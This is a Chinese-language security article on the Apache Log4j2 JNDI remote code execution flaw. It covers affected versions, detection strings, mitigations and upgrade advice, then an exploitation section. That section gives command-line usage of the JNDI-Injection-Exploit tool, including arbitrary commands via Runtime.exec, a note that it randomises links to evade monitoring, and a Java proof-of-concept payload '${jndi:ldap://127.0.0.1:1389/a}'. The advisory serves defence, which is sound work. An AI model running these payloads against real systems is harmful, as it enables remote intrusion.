介绍
什么是 Apache Log4j2
Apache Log4j2 是一款优秀的 Java 日志框架。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。IT之家获悉,由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
漏洞详情
影响版本
Apache Log4j 2.x <= 2.14.1
攻击检测
可以通过检查日志中是否存在"jndi:ldap://
", "jndi:rmi
"等字符来发现可能的攻击行为。
安全建议
升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址查看:点击此处。
升级已知受影响的应用及组件,如 spring-boot-strater-log4j2 / Apache Solr / Apache Flink / Apache Druid
建议同时采用如下临时措施进行漏洞防范:
- 1)添加 jvm 启动参数
-Dlog4j2.formatMsgNoLookups=true
; - 2)在应用 classpath 下添加
log4j2.component.properties
配置文件,文件内容为log4j2.formatMsgNoLookups=true
; - 3)JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本;
- 4)部署使用第三方防火墙产品进行安全防护。
- 5)将系统环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
设置为true
- 6)尽快升级Apache Log4j2所有相关应用到最新的
log4j-2.15.0-rc2
版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
据悉,Apache Log4j2 日志远程代码执行漏洞因此也影响了所有 Minecraft 服务器。
影响版本
Apache log4j2 >= 2.0, <= 2.14.1
Minecraft 全版本所有系列服务端,除 Mohist 1.18 外。
漏洞利用
介绍
JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证。
使用
可执行程序为jar包,在命令行中运行以下命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
-C - 远程class文件中要执行的命令。
(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
-A - 服务器地址,可以是IP地址或者域名。
(可选项 , 默认地址是第一个网卡地址)
注意:
要确保 1099、1389、8180端口可用,不被其他程序占用。
或者你也可以在
run.ServerStart
类26-28行更改默认端口。命令会被作为参数传入Runtime.getRuntime().exec(),
所以需要确保命令传入exec()方法可执行。
bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."
示例
本地演示:
启动 JNDI-Injection-Exploit:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
把第一步中生成的 JNDI链接注入到存在漏洞的应用环境中:
public static void main(String[] args) throws Exception{ InitialContext ctx = new InitialContext(); ctx.lookup("rmi://127.0.0.1/fgf4fp"); }
当上面代码运行后,应用便会执行相应命令,这里是弹出计算器。
工具实现
- 首先生成的链接后面
codebaseClass
是6位随机的,这个是因为不希望让工具生成的链接本身成为一种特征被监控或拦截。 - 服务器地址实际就是
codebase
地址,相比于marshalsec
中的JNDI server来说,这个工具把JNDI server和HTTP server绑定到一起,并自动启动HTTP server返回相应class,更自动化了。 - HTTP server基于jetty实现的,本质上是一个能下载文件的
servlet
,比较有意思的是我提前编译好class模板放到resource
目录,然后servlet会读取class文件,使用ASM框架对读取的字节码进行修改,然后插入我们想要执行的命令,返回修改后的字节码。
Apache Log4j 远程代码执行
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
